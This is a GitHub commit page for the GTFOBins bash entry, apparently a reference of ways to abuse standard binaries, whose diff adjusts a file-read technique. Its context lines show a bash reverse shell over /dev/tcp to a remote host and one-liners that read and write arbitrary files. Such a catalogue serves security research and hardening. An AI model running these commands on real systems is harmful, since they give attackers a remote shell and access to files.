Skip to content

Commit

Permalink
Fix bash file read
Browse files Browse the repository at this point in the history
  • Loading branch information
cyrus-and committed Jun 11, 2018
1 parent 7660674 commit 3b59c85
Showing 1 changed file with 1 addition and 5 deletions.
6 changes: 1 addition & 5 deletions _gtfobins/bash.md
Original file line number Diff line number Diff line change
Expand Up @@ -41,14 +41,10 @@ functions:
export RPORT=12345
bash -c 'bash -i >& /dev/tcp/$RHOST/$RPORT 0>&1'
file-read:
- description: It trims trailing newlines.
- description: It trims trailing newlines and it's not binary-safe.
code: |
export LFILE=file_to_read
bash -c 'echo "$(<$LFILE)"'
- description: It trims trailing newlines.
code: |
export LFILE=file_to_read
bash -c $'read -r -d \x04 < "$LFILE"; echo "$REPLY"'
file-write:
- code: |
export LFILE=file_to_write
Expand Down

0 comments on commit 3b59c85

Please sign in to comment.